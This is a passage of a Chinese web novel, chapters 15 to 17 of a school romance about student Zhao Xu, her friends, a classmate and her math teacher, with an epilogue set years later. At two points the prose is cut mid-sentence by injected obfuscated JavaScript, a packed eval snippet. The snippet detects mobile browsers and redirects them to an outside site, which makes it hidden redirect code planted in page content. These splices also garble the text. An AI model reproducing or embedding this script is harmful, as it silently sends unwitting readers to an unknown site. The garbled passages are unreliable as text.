粉调的柔光泛出五彩的光芒,连玻璃都变得晴朗,尽数映入他的眼眸。 奈何他的眼里有一捧星子,却不敢亮。 15. 春天不是读书天(1) [春风拂搅扰时心跳没那么坦然,藏于血脉的叛逆即将坠地,我好想迎着晴空疯跑,无拘无束地活一次。 下一句可不可以是:就现在! ——评《春天不是读书天》 经过了几天的休养,加上赵栩本来伤得也不是很严重,没过多久就能行动自如了。 午饭之后,赵栩和朱临清小姐妹两人,一边在门口讨论历史题,一边吃原味薯愿。 “对了栩栩,你能站那么久吗?不行的话咱去饮水机那边坐着。”朱临清停下了翻课本的动作,神色间略显担忧。 赵栩咽下去薯片,用开玩笑似的口吻说道:“快一礼拜没跑操没上体育课,我还挺想多装一会儿。” 朱临清轻笑一声,调侃道:“快期中考了,下次换座位你快别和韩明月坐一块儿了,你都被她拐带成什么样了。”接着用手肘轻轻碰了对方一下,故作痛心疾首:“都学会抄作业了。” “这不是……权宜之计嘛。” 自上次办公室谈话之后,数学作业是减少了不假。可是作业调整之后,在赵栩看来,还不如不减少。 他们的数学老师,仿佛对于批改作业有种病态的执念,强行回收了所有作业答案,从日常作业到平时测验,逐题批改,大题还会深挖扣分点。也就是说,她偶尔想简写步骤,都会被要求重写。 赵栩倍感心虚,清清嗓子扯开话题:“韩明月呢?” 朱临清面露无奈,“数学办公室。 “要不我说秦老师给她讲题得要加班费,这都快到午休时间了,费心费力不说,还要强行压缩休息时间。” “她难得对数学感兴趣,就让她去吧。”赵栩耸了耸肩,无所谓地去翻试卷。 朱临清又捏起三片薯片,都不好意思说: 她那是对数学感兴趣吗? 当然是被老师提审过去的。 两人在互相讲题之中穿插着聊天,倒也放松不少,却被来自班级男生的吵闹声打断: “徐哥!徐哥!别那么小气!给兄弟们分个棒棒糖嘛~” 她们无需回头,都能通过这几个贱兮兮的声音,听出是徐仲仪的跟班们。 班里的徐仲仪抱紧了那只八寸的零食盒子,宝贝得不行,断然拒绝:“想要自己买去,要我的干嘛!” 以关毅为首的气氛组,彼此交换了个眼神,见到大哥这么没出息的样子,咿咿呀呀地起哄:“徐哥,你看你收到零食也快一礼拜了,也没见你吃过,你要是要搞收藏?” 另一个男生和他唱双簧:“你懂什么?别人送的那就值个市场价……不过吗嘿嘿,也不看看是谁送的。”说到这里,几个人掩着嘴巴,露出意味深长的笑,纷纷往走廊上看。 徐仲仪被他们调侃得脖子都红了一大片,凌厉的眉眼难得慌乱,外强中干地说:“你们有事儿没事儿?别吵吵嚷嚷的耽误班里同学学习!” 然后不顾他们看好戏的眼神,从盒子里小心翼翼地拿出一壶草莓牛奶,自顾自喝了起来,时不时还抿嘴偷笑。 在走廊上的两个女生用耳朵听到了全过程,愈发想把这群闹闹腾腾的男生都丢出窗外。 朱临清扯扯唇角,不禁调侃:“栩栩,你的零食礼盒里面掺什么了?看把他乐的。” 赵栩一时语塞,只得尴尬笑笑。 其实她从楼梯上摔下来后,身边的人对她施以援手,让她既感激又稍许不安,不安于浪费了别人的时间。 于是赵栩周末把两个朋友叫出来,想请她们吃饭,但朋友们早就看出了她的心思,把饭钱偷着AA了,用魔法打败魔法,让赵栩就此断了这种见外的念头。 几人饭后走到了进口零食店附近,恰巧有可爱的零食礼盒出售,赵栩就想买一盒以答谢徐仲仪。 结账时她才发现,有满100送一个的优惠,于是她拎回家了俩礼盒。 一个给了徐仲仪,另一个还没找到机会送给数学老师。 抛开零食礼盒的小插曲,小姐妹两人继续讨论问题,前面都很顺,但在一道选择题上产生了争议,于是赵栩提议去历史办公室问老师。 理科班办公室都在二楼的东侧,文科则在西侧,午休前的一点时间,成为了同学们争相问题的机会。 走廊上还算热闹,两人刚走到拐角处,就看到班主任祁老师和年级主任何主任正在交谈,于是两人停下了拐角后面,想等到主任离开了再问题。 只见何主任一脸为难,“祁老师啊,这个视频闹出的影响十分不好,你也知道我们年级正在严抓早恋,我该怎么处理是好?” 视频?什么视频? 赵栩疑惑地看向朋友,朱临清却躲闪似的移开目光,装不知道。 祁老师很是无奈,“主任你讲讲道理,这说到底就是同学之间的互帮互助,怎么就扯上早恋了?” “明明是那些围观的学生拍视频不懂事乱传,给我班学生造成困扰,难道还要反过来惩罚被害人?这不让人心寒吗!” 他的神情难得严肃,虽然不算身材不算高,但在气场上突然压了主任一头。 赵栩懵了一下,紧接着便从两人的对话,以及朱临清心虚的眼神中品出了点什么,然后把朋友拉到一边,认真地盯着她,“他们说的视频是什么意思?” 朱临清垂眸看向地砖,张了张嘴,有着难言之语,犹豫着要怎么说这种乌龙事件。 “你越不说我越着急。”赵栩看似自若的神情中带着焦急,心里隐有不好的预感。 在女孩热切的眼神中,朱临清轻轻叹息,组织了几秒钟语言后方开口:“那天你从楼梯上摔下来,不是徐仲仪抱你去医务室的吗……” “然后……被人拍下来上传到抖音,现在点赞应该快破十万了。”说到后面,她的声音越来越小,原本中气十足的姑娘都不敢抬头。 赵栩眸光蓦然收紧,本来就大的眼睛瞪大了一圈,写满了震惊。 加倍震惊。 她平日里几乎不看短视频,所以手机里没有相关软件,再加上她这些日子没太出过班级,信息难免滞后一些。 过了一会儿,赵栩才恢复了言语能力,俨然一副被气笑了的表情,对此总结道: “他们……有病。” 午休马上就要开始了,她们也没心思问题了,更不想再提莫名其妙就被发上网络的糟心事,于是两个女生打道回府,快步上楼回班级。 她们走到三楼时,正好碰见两个学弟往下走,原本在说话的两个男生一打眼过去就认出了赵栩,立即停止了交谈,然后停下脚步,意味深长地看着她,好似在行注目礼。 赵栩起初以为是熟人,但片刻之间就反应过来,而且看到他们这幅毕恭毕敬的样子就来气,罕见地冷气脸来,大步跨上台阶,并小声嘟囔了一句: “莫名其妙。” 她刚抱怨完,忽觉脊背发凉,再转头,就看到数学老师正好走到了楼梯附近。 他身后跟着的韩明月,攥着试卷一脸苦相,看到两个朋友欲言又止。 秦暮野看到赵栩时,微愣片刻,出于她受伤的脚腕靠虑,他才准备亲自跑了一趟,到班里去“兴师问罪”,没想到在外面碰上了。 “老师好。”赵栩和朋友面面相觑,见数学老师似是有话要说,再结合韩明月的谨小慎微的表情,不好的预感从她心里升起。 秦暮野省去了“你的脚腕没事了吧?”诸如此类的客套话,直接切入正题,沉声问道: “作业是自己写的吗?” “是啊……”赵栩眼神中闪过慌乱,快步下楼站到老师面前。 没等她继续辩解,秦暮野又拿过韩明月的卷子,放到一起对比:“韩明月写的选择填空,你写的大题,对不对?” 在刚过去的休息日,赵栩为了补其他科目,把数学作业放到了最后写,但是到了周日还没写完数学,正好韩明月找她要答案,两个人一拍即合。 虽然相互借鉴的时候刻意自由发挥了一下,但还是被看了出来。 她敢发誓,这是她第一次办这种与同学“同流合污”完成作业的事,没想到就被老师抓到了。 对方说的字字句句属实,赵栩心里没底,低下头不敢作声。 在抄作业这种事上,秦暮野向来是零容忍,对于学生们的套路也是一清二楚,更是很热衷于去揭穿此类事件。 “我教你们你们个办法。”他眸色微沉,声音里听不出情感变化,身旁之人却被迫投入了低气压,连呼吸速率都下意识放慢。 “下次抄作业,记得多带上几个 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这句近似吹捧的话,让剩下两人浑身长满了鸡皮疙瘩。 朱临清捂上耳朵,摆出有辱清听的表情,随后没忍住,幸灾乐祸地笑了,“栩栩,你说秦老师是不是克你。” “几个周前,头一次没写完数学作业就被罚站。。” “这次,抄作业也被抓着。” “然后你前几天还进医院了……” 赵栩心里一凉,慢慢呼出一口气,告诉自己要冷静,被迫得出结论: “我觉得是。” …… *两天后, 这是一个再寻常不过的日子,小姐妹三人像往常一样,每天总要找一个特定的日子去吃食堂的西餐自助。 第四节课后下课不久,餐厅很快被涌入的学生占据,她们自认为来得不算晚,可是进入食堂的时候,乌泱泱一片,窗口都排起了大长队,空余的桌子也不剩几张。 三个人都比较遵守食堂规范,没有提前占桌子的习惯,故而一致约定速战速决,谁先打完饭谁先去找桌子 韩明月拿了四寸培根披萨和一碗意大利面,结完帐后扫视一圈,将目光锁定在角落里的一张空桌。她身形灵巧,拨开重围,顺利找到空桌子。 她望眼欲穿,在人来人往中寻找朋友,两只手无规则地在腿上拍打,等着和朋友们一起开饭。 “韩明月。” 这个阴沉到罕见的男声,即便在吵嚷的食堂当中,依旧分外清晰,让韩明月形成了某种条件反射,肩膀下意识绷直。 她全然没有了平日的欢乐,心里滋生出了些许恐慌,揪住校裤的手心微微沁出汗来。 “韩明月,你怎么不理人。” 高个子男生把盘子放到她的对面,俯下身去,深棕色的眸子里,浮现出玩味的笑。 韩明月抬起沉重的手,指向对面:“我朋友要坐在那里。”鼓起勇气与他对视,大着胆子说:“我们都分手了,坐在一起吃饭不太合适。” 柯明扬不以为意,脸上笑意不减,“没关系,我说两句话就走。” 韩明月不得不承认,她的这位初恋男友,长相是真没得说: 一头微卷的头发,野性张扬,一双狭长优美的眼睛染着说不出的阴冷。 所以她分手那么久之后,都再难找到称心如意的。 换言之,若非对方看起来精神状态不稳,而且据说他爸有精神病史,不然就冲着这张帅脸,她高低也能稍微凑合一下。 不过她现在也不需要凑合了,因为她就算喜欢只温顺的大熊猫,也不会喜欢这只阴晴不定的狐狸。 一看到前男友,韩明月就像是蛇被捏住了七寸,莫名的压迫感让她动弹不得。 赵栩取完餐后,在密密麻麻的餐桌中,找到了韩明月,却发现她面色有异,又注意到旁边的人,很快就猜到了是怎么回事。 她快步穿过人潮,站定在饭桌前,然后冷眼看着男生,把盘子重重放在桌上。 木头盘托与塑料桌碰撞,发出了不轻不重的闷响。 “麻烦你现在离开。”赵栩凝视着男生,清透的声线里毫不掩饰着愠怒。 16. 春天不是读书天(2) 周围的一部分同学注意到了这边的骚动,放下碗筷,不吃饭了开始看戏。 赵栩倒是不在乎被围观,见对方无动于衷,紧蹙眉头,加重语气:“请问你是听不懂汉语吗?” “分手本来就是单方面的事,你何苦呢?” 韩明月的这位前男友也算是想一出是一出,上次强行让她带蛋糕,要不然就是连着好久查无此人,然后又突然蹦出来。 这次出现又不知道要怎么为难人……想到这儿,赵栩就替朋友发愁。 “单方面?”柯明扬眼底幽深,嘴角扬起一丝讥讽。 身高一米八六的缘故,他再次俯下身子,靠近韩明月,用只有他们能听得到的声音,似笑非笑地说:“有时间天天去找你们数学老师问题,没时间回我消息?” 韩明月不知道哪里来的勇气,用劲儿把他推开,大声说:“我爱找谁找谁,滚!” 随着围观的人越来越多,柯明扬也不想多加纠缠,冲着韩明月扯唇笑笑,而后把视线投向赵栩时,笑容逐渐消失。 眼神中的意味深长,把赵栩盯得浑身发毛,待送走这位不好惹的主,她才敢松口气。 据她所知,徐仲仪和柯明扬的关系不错。所以为了能帮到朋友,她可以试着去找徐仲仪帮忙。 “怎么了?” 朱临清是最后一个选完菜的,回到座位时,正好与柯明扬擦肩而过,她心道不好,却为时已晚。 面对赵栩和韩明月两人出奇一致的沉默,她大概猜到了事情的始末。 见一时间没人出声,朱临清轻抚着朋友的后背,安抚道:“没事没事,就当被狗咬了一口。” 韩明月越想越气,使劲拽下一块儿披萨,一口咬掉一半,不禁后知后觉脑补: 为什么没扇他一巴掌! “能吃就好,能吃就好。” 赵栩把自己拿的熏香肠给两个朋友,见韩明月神色怏怏,用手指沾了一点番茄酱,抹在了她的鼻头。 “哎呀~” 韩明月一时哭笑不得,忍住了想流眼泪的冲动,大口吃起了饭,烦恼一扫而光。 小小的不愉快暂时一笔带过,三个人聊着最新热播的电视剧,而赵栩其实不太爱看电视剧,只了解一点点。 更多的,还是在想待会儿要怎么和徐仲仪开口,因为以他们目前的关系,实在比较尴尬, 自那天听到班主任和年级主任的对话后,以及面对周围人奇怪的“恭敬”,赵栩回家下载了个抖音,终于让她找到了那个视频。 内容很简单,就是徐仲仪在众目睽睽之下把她抱到了医务室,但却被有心之人配了音,还偏偏配的是那种小甜歌,而且播放量又高,三人成虎,怎么能不让人误会? 如今她满心想着那个视频,气闷得很,恨不得见一个人就抓一个人当面辟谣,近几天都有点食不下咽。 “栩栩!”朱临清见她在发呆,用手在眼前晃了晃,目光移到了她手腕处透亮温和的绿色。 “你这条手链好好看啊。” 她其实早就关注到了那条饰品,晶莹剔透的光泽,森系的搭配分外适合那只白净纤细的手腕。 赵栩扬了扬手腕,也很是满意,“这只吗?买咖啡送的。” 韩明月不怀好意地凑了过来,眨了眨眼睛,狡黠地笑道:“买咖啡送的?还是哪个追你的男生送的?” “……” 赵栩微垂眼帘,没来由地心底一动。 片刻之后,又归于寻常,她配合似的冷笑了两声,趁其不备从对方盘里抽了一块披萨,含含糊糊地开口: “吃饭堵不上你嘴。” …… 午饭之后,因为和秦暮野相约讲题的同学太多,加之要来找课代表修改作业内容,他中午简单吃了点,就匆匆来二班门口答疑。 学生们饭也吃饱了,面对老师的耐心答疑,很快就把班门口围得水泄不通,回来的同学们只能从班级后门进入。 韩明月头上似乎长着一个雷达,天然就是用于检测帅哥的,就算秦暮野身前围了三层人,只需定睛一瞧,她就能判断出来。 “你们有问题要问吗?”她踮起脚尖往前瞅。 朱临清和赵栩同时摇头,“没问题。” 朱临清对于数学的兴趣本就廖廖,数学、男和老师三个词,她一个都喜欢不起来,所以这种场合她从来不凑热闹,于是匆忙进了班。 而赵栩满心想着找徐仲仪帮忙的事,忐忑不安,手指甲不自觉地嵌入了掌心,在男生们好戏的眼神里,缓步走到了男生的课桌前。 每次她走到徐仲仪桌前,就会起到“欲扬先抑”的神奇效果,即: 从寂静岭变成猴山。 “嗷~” “哦~” “咦~” 男生们此起彼伏的嚎叫声,惊动了班级内外的学生,班内的同学不厌其烦,班外的学生则停止了问题,纷纷向班里看。 赵栩脸上不免烧得慌,冷眼看着人类返祖的一幕,无语至极。 徐仲仪嫌他们聒噪,笑瞪了他们一眼,看他们叫唤的差不多了,做了个“收”的手势。 没等赵栩说话,他遣散周围人,挺直腰背站好,垂下眼睑与她对视,语气温和:“谢谢你的零食礼盒。” “不客气。”赵栩别开那道炽热的视线,酝酿了几秒,说:“能不能和我去外面,我有话想跟你说。” 毕竟是朋友的私事,不好在班里说。 “好。”徐仲仪做了个请的手势,让她先走,自己则跟在后面,还不忘转身给众男生比了个耶,就差把“炫耀”两个字写脸上了。 有男生戏精上身,咿咿呀呀地说: “有悄悄话,不让我们外人听呢~” 赵栩对这些阴间动静充耳不闻,站在原地,在男生饱含期待的注视下,正正神色,直截了当地说: “能不能和柯明扬说说,让他不要再打扰韩明月了。” 她避重就轻,简单说明了两人之前的事。 徐仲仪眉梢处的笑意渐次消失,而后全程保持静听,没有任何表情变化。 待赵栩说完后,他顿了顿,默然稍许。 冷厉的长相,不着笑意时,会显得更加有距离感。 随后,徐仲仪缓缓地说:“抱歉,这个我帮不了你。”没等她提出疑问,他浅浅笑了笑,“别人谈恋爱的事,我插不了手。” 见他不帮忙,赵栩有些着急,音量不免略微提高:“他们早分手了,他现在是骚扰!” 话音刚落,她就感受到了身后无数道注视,熊熊的八卦之火蔓延开来。 走廊上原本是吵闹的不假,可是话题人物同时出现,是在过于显眼,吸引了很多人的注意力。 赵栩忍住跺地的冲动,被自己蠢笑了,暗自懊恼,恨不得让时光倒流。 她按捺不住窘迫,悄悄扭头看自己究竟能丢脸成什么样,结果一回头…… 就与数学老师对视了。 “你你你……再考虑考虑。” 赵栩也没听到对方说了什么,一时间口不择言,只想快点逃离地这里,于是把脸埋在胸口,赶紧小碎步跑进班里。 走廊里的同学没有热闹看了,问问题的也问的差不多了,故而纷纷散去。 直至为最后一名学生讲完题,秦暮野才得以抽身,喝水的功夫,才想起中午时段要去校外办点事,未多做停留,就仓促离开。 而待在班里的赵栩,只要思及方才被众人注视,就觉得自己这辈子都调理不好了。 神思涣散的她,想吃颗糖缓一下,却摸到了桌洞里的零食礼盒,突然想起还没把这个送出去。 …… 正午的一轮金乌并不浓烈,撒下的光芒照在皮肤上温柔舒适。同样,不知是被哪里飘来的水汽,加湿了燥热的空气,冲开了草木的清新。 秦暮野走到了校门附近的喷泉,却被身后赶来的学生喊住。 颀长的身影逆光而来,温暖的阳光却延长了那份淡然。 赵栩只顾往前跑,直到一只脚踏在那人影子的脑袋上,才收住脚。 “老师……”她跑得偏快,呼吸略急促,调整了下呼吸,把手捧的零食盒子递给他:“这是给您的,谢谢您那天送我去医院。” 阳光如同打散的蛋清,倾入这方静好,剔透的流光随着潺潺泉水逸散开来,把细碎的暖光悄然搅拌均匀,几条水柱在空中划过弧线,溅起点点珠玉。 无意中落在女孩额发上的那滴清凉,模糊了水和光的界限,令她感到分外新奇,忘记了半只胳膊的潮意,只想伸手留住这悦动的点滴。 “过来。”秦暮野怕溅起的泉水打湿她的衣服,招招手让她走近些。 赵栩走出几步方注意到,半张脸都溅上了水珠,好不别扭。 她直接用袖子抬手就擦,氤氲的水汽在脸上晕开,眉眼染着水珠,腕上的橘子花手链映出淡绿的光,衬得那张清纯可爱的脸多了些朦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641025|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胧的美。 秦暮野递了一张纸巾给她,平视着落下的水柱,睫毛微颤,任由泉水撞开湖心,无序散落。 他忽而想起,自己好像是要修改作业内容来着。 “老师。”赵栩抹去脸颊的水渍,见他迟迟不动作,把盒子怼到他面前,诚心地说:“如果您不收,就当是我送给班里同学的,您可以拿这些零食投喂他们。” 犹豫片刻,秦暮野接过盒子,眼底覆上清浅的笑意。 “谢谢你,我收下了。” 等学生走远之后,他拎起盒子,透过半透明包装纸,大概看了一眼里面的东西。 盒子受到震动,零食袋子沙沙碰撞,糖粒子更像是要跳出,在盒子里简单奏了一首糖果味的曲子。 别致的声音摩擦在他的耳边,让人心情都舒畅了不少。 秦暮野顿时联想到了什么,眸光微闪,眼尾的笑容淡去几分。 今天上课时,他看到的徐仲仪桌面上宝贝般供着的盒子,应该是这个的同款。 …… *香香滴彩蛋.几年后 赵栩偶尔会觉得,自己命途多舛,总碰到一些奇奇怪怪的人。 可大多数时候不得不承认,她从一生下来就被周围人照顾得很好,并不是劳碌的命。 儿时在大山里,除了简单的家务活她能帮则帮,剩下的农活她几乎没动过手,都为父亲承担;然后到城市里生活,尽管妈妈工作很忙,母女时常打不着照面,但她的物质生活实实在在在优于很多同龄人。 再后来和男朋友在一起,她几乎不用操心,只需要享受现成的生活,因为秦暮野会帮她包办,小到一日三餐煤气水电费,大到开书店所需的选址与布局,都是他请专人设计的。 而此时,那个总爱替她操心的人,倒下了……一天。 许是前些天出差,秦暮野水土不服偶感风寒,回家后就开始发高烧,现在在家静养。 在她的认知里,那个总是精气神十足的人,此时倚床而坐,面色潮红,垂着眸子,羽翼似的睫毛仿佛也向下弯了几个弧度,眼神中难掩疲惫。 “先把药吃了吧。”赵栩端着冲泡好的药水,确定不烫手后,把杯沿靠到他的唇边。 秦暮野喝完药之后,苦涩的药味直冲天灵盖,他微拧眉头,温声问道:“晚饭想吃什么?”说完就要下床,被赵栩按了回去。 “你这样会显得我很没有良心!指使病号干活。”她把手覆上对方的额头,有些许担忧。 秦暮野的嘴角抑制不住地扬起,却牵动着呼吸道,忍不住笑着咳了几声。 赵栩问他:“你想吃什么?” 秦暮野其实没什么胃口,更不想麻烦女友,想了片刻,哑声回答:“草莓糖。”接着拉开床头柜的抽屉,拿出一包。 “你不是不爱吃糖吗?还是草莓味的。”赵栩对于他私藏小零食这件事,又意外又好笑。 秦暮野先拉过对方的手,倒了几粒在她的手心,然后取出一个,味同嚼蜡般咽了下去,然后偏过头,注视着她。 “你上高中那会儿,不是送给我和徐仲仪每人一个零食盒子吗……然后有一天我突然发现,你给他的盒子里面有草莓糖,而我的没有。” 言外之意,我不是你的唯一TAT 赵栩疑惑地嗯了一声,心想这是哪年的黄历! 属实认真回想了一番,才想起来: 既然是买一赠一,赠的那个肯定会缺点什么…… 两人对视之间,秦暮野那双被高烧晕染得泛红的眸子,湿润且清澈,流露出温柔的笑意。 “你这个人真有意思……”赵栩一时语塞,反而发笑,“这么点小事值得你记那么久?” “咳咳咳。 秦暮野还想说些什么,喉咙间一阵痛痒,又轻咳了几下。 赵栩端起水杯,为他顺着背,“这药怎么也不管用,要不我下去帮你买点别的?” “不用,我想到了个办法。”秦暮野缓缓阖上眼睛,意图掩盖眼底的狡黠,仅剩唇角一抹浅笑。 赵栩抬眼看向他,“什么?” 他指了指烧红的脸颊,“亲我一下。” 听到这句不要脸的话,赵栩微怔了一下,怀疑自己耳朵出了问题。 “你滚!越发烧脸皮越厚是吧。”赵栩伸手搡了他一把,后知后觉,血液充盈到耳朵,红得夸张。 就不该可怜这个人…… 她又燥又急,羞得哑口无言。 17. 春天不是读书天(3) 定海市新开张的海洋馆,于本周末正式营业,尽管两个周之后就是是全市高中的期中统考,还是吸引了很多高中生游客。 踏入海洋馆的那一刻,来自海洋深处的回响,宛如实形的套索,将游人拖入蔚蓝色的梦境,置于那份欲罢不能的窒息感。 头顶划过的魔鬼鱼展开双翅,就算隔绝一层玻璃,也会率先将你拥入空灵的蓝,逆着时空抚摸闪着磷光的水母、游弋的鱼群、缤纷的珊瑚。 强行闯入海洋的异世界,却又与之分分合合,波纹与浪花穿过掌心,仿佛摊开手掌,掌心就会落入一滴悲怆的泪,那是生命的呼唤。 秦暮野微微仰头,望着面前飘过的粉色水母,海洋底色泛出的蓝,晕染得那身天蓝色条纹衬衫提高了几个饱和度,清爽而不失英气。 粉色水母自他眼前悠悠飘过,散发出温柔的樱粉光,打在他立体冷感的眉目上,生生削弱了些许冷淡。 起初,他在欣赏玻璃柱内的水母,直到有一只“小兔子”,偷偷从珊瑚堆里蹦出来,吸引了他的目光。 秦暮野回想片刻,粉光恰好浸入墨色的瞳孔,恰似花瓣微卷。 那只小兔子和一直记忆中的挎包貌似是同款…… 小兔子发卡的主人,正沉迷于给五颜六色的水母拍照,根本无暇顾及玻璃对面的人是谁。 秦暮野忽然没有心思看水母了,把更多的注意力放在那只“在水里”蹦跳的小兔子上,由于光的折射,小兔子时小时大,时而清晰时而模糊,有时在水母半透明的体内跳跃,有时穿梭于珊瑚中不亦乐乎。 久违的童真作怪,他抬起右手,想要隔着玻璃“抓住”那只小兔子,却突然发现自己一手握着一只甜筒,只得作罢。 按理说,秦暮野是不喜欢凑热闹的,这次只是为了送妹妹过来参加学校的社会实践。 保姆阿姨今天没空,而周暮谣又总说那天被砸车窗的吓到了,要人陪同她去海洋馆,这个任务就自然而然落到了他的身上。 才进海洋馆,周暮谣买了两个甜筒后,就去了洗手间,秦暮野本想等到妹妹出来就离开海洋馆,却不由得被海洋馆内神秘且唯美的设计吸引,暂缓了离开的脚步。 此时,玻璃柱对面的赵栩,拍到了满意的照片后,向四周望了望,并没有看到与她相约的韩明月,便接着低头P图。 “美女,看你好久了。” 赵栩敲击键盘的手一停,疑惑地抬起头来,还不甚确定地向旁边看了看,当她把视线收回,面前多了两个看起来不太务正业的男生。 她装作没有听见,背过身去继续摆弄手机,企图避开这两个人。谁料黄毛和绿毛穷追不舍,一前一后挡住了她的去路,两脸坏笑。 赵栩意图快步离去,可左右皆是人,她的行动范围很有限,又被两个人前后围堵,一时间动弹不得。 “能不能麻烦你们让开?我的朋友在那边。”赵栩压抑着怒火,随手往入口方向一指,想要吓吓他们。 黄毛知道她在说谎,愈发肆无忌惮:“美女,能和你交个朋友吗?加个微信行吗?”说完,没有分寸地向前一步走,打开了手机的二维码。 “我不想和你们交朋友。”赵栩面露不耐,瞅准空档往右边走,却被绿毛堵住。 绿毛用轻佻的眼神,从头到脚打量着她,“没想到徐仲仪吃这么好。”接着拍了拍黄毛,“大哥,那个混蛋……” “你有病吧……”赵栩对他们下流的用词反感不已,心里涌起一阵厌恶,趁他们说小话的时候,抽空离开,却又被挡住,“你还没加我微信呢。” “他是体育生,我也不差……” 赵栩暗暗喊冤,也许是徐仲仪和这帮人有过节,而他们又认为自己是徐的女朋友,真是难办。 “给。” 赵栩正在发愁的时候,面前突然出现了一个甜筒,顺着手臂往上看,居然是数学老师。 那个可靠而低沉的声音,在喧闹的海洋馆里,想是剥离后自成一体,冷不丁砸在她的手里,酥酥甜甜的,连同那只甜筒一起。 秦暮野挡在她前面,把她和不良少年隔开,居高临下地扫过两人,眼神毫无感情,如同在看什么物件。 两人也是欺软怕硬的,在悬殊的身高对比中败下阵来,骂了两句后火速润了。 虽然在乌泱泱一片中赵栩没听清楚别的,但有一句却听清了: 徐仲仪真窝囊,女朋友都和别人跑了。 “老师你别听他们瞎……”赵栩气急败坏,差点把手里的甜筒捏碎,连忙用嘴去堵。 秦暮野则是没有听到,面露不解,“他们说什么了?” “我没和徐仲仪谈恋爱。”赵栩有些着急,嘴边都是抹茶冰激凌,拿出纸巾狠狠地擦擦嘴,不能留给老师“早恋”的坏印象,情急之下就忍不住解释了。 “嗯。”秦暮野面上了无波澜,依然拿着另一个甜筒,却不吃一口,背过身去看水母打架。 两只雄水母头碰头,都不示弱,还有一只雌在左右环绕,像是在拉架。 他忍不住思考,水母是雌雄异体的生物不假…… 可是这个区域水母那么多,那两只雄水母总不至于像人类一样,恰好认定同一个吧! “哥哥!” 周暮谣从洗手间出来后,期待地跑了过去,却发现哥哥手上只剩一只甜筒了,再往旁边看,原来落到了别人的手里,略微意外。 赵栩吃得有点心虚,向对方微笑着点点头。 “给你。”秦暮野把她的包包和甜筒统统归还,然后示意不远处,“你的朋友在那边等你。” 不知道是不是她的错觉,周暮谣总有一种被赶的错觉,生着闷气吃甜筒,不情不愿地走向了朋友们。 “栩栩!” 这边周暮谣刚走,韩明月就自门口而来,还提着两杯果汁,走近一看秦老师也在,不由得面露惊喜:“秦老师好!!” “你好。”秦暮野颔首微笑。 打过招呼后,他不宜多留,就一个人在各个区域之间观赏。 韩明月目送他离去的背影,难掩欣喜:“我和男神果然是同频的!!”然后嘴角一滞,“他是不是和女朋友一起来的?” “我只看到他的妹妹。”赵栩刚吃完冰激凌,又抿了一口温果汁,顿觉牙酸。 “啧啧。”韩明月重新绽开笑容,一脸花痴相,“咱秦老师这么帅,而且还是单身,太完美了吧!” “完美完美。”赵栩随口迎和着,然后被面前游过的鲨鱼所撼。 此鲨名为鲸鲨,身长大约15米左右,呈深灰色,背上布满白色的斑点,甚是罕见。 一时间,她的眼睛都亮了,有些忘乎所以,尾音上扬掩不住兴奋:“好大的鲨鱼啊!” 话音刚落,她自觉不妥,尴尬在脑内横冲直撞,恨不得钻进地缝。 为着小时候深居大山,没见过海,她对海洋有关的一切格外向往。 这么奇特的海洋生物,倒还是第一次见。 在她们旁边的情侣,不禁转过头去,蹙着眉头看向她,女生小声嘟囔:“一条鲨鱼而已,至于吗。” “你家养鲨鱼吗?看把你能的。”韩明月白了他们一眼,然后不屑于去看对方的表情,拉着朋友的手走到一边,转怒为笑:“咱今天来拥抱大自然的!” “告诉姐妹,你想拍什么!” 赵栩思索片刻,回答:“倒是不想拍什么……我想摸摸海豚。” “嗐,多大点儿事。”韩明月一摆手,想了想又面露难色,“待会儿去看海豚的人肯定很多,大家都围在岸边,它不一定会游到你身边……” “是哦……”赵栩点点头,眼里有若隐若现的失落。 与此同时,潜伏在赵栩身边的“一虾一虫”,默默走远。 徐仲仪摘下憋闷的龙虾头套,小麦色的脸浮现一层红晕,他拿出纸巾抹了把额头的汗,猛吸一口氧气,“你听见没有,赵栩说想和海豚合影。” 关毅则摘下草履虫的一只眼头套,好奇地眨眨眼,口吻含混:“徐,徐哥……你家还养海豚?” “你有没有点常识!海豚那是国家保护动物!”徐仲仪被气笑了,揪住他头套上的一根须晃了晃。 不一会儿,他微挑眉头,露出了势在必得的笑容:“等着吧,我自有办法。” …… 果然不出韩明月所料,露天海豚区人山人海,所幸她们来得够早,挤到了前排的位置。 这里并不是看海豚表演的地方,只是单纯和海豚互动的地方,有只海豚在池子里游动,能不能靠近岸边和游人互动,全凭运气。 徐仲仪带着朋友关毅,偷摸候在了她们身后不远处,静待时机。 前排都坐的差不多了,秦暮野则是无意中走到这附近,便进来看看,身边紧接着就出现一位穿着海洋馆制服的男士,长相清爽,还有那么点面熟。 他有着过目不忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641026|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的本事,对于十几年前见过的人亦然。不过片刻,他就认出了身边之人,向他点头笑笑:“你好,请问你是路也么?” 与之同龄的男子讶然,起初也没有认出这位帅哥是谁,但介于秦暮野自幼儿园开始,就“战绩辉煌”,六岁能做出六年级的数学题,让人实在难忘,路也恍然认出面前的人,“你好你好,你是秦暮野吧?” 幼儿园同学彼此寒暄了几句,秦暮野才得知路也在海洋馆做驯养员。 路也则是惊讶于昔日的天才,居然仅是高中老师,颇为意外,委婉地问:“在四中当高中老师,一个月大概能拿多少钱。” 秦暮野想了想,答:“不到九千。” “那还可以……”路也这边正伤仲永呢,现场的欢呼声此起彼伏,打断了两人的对话。 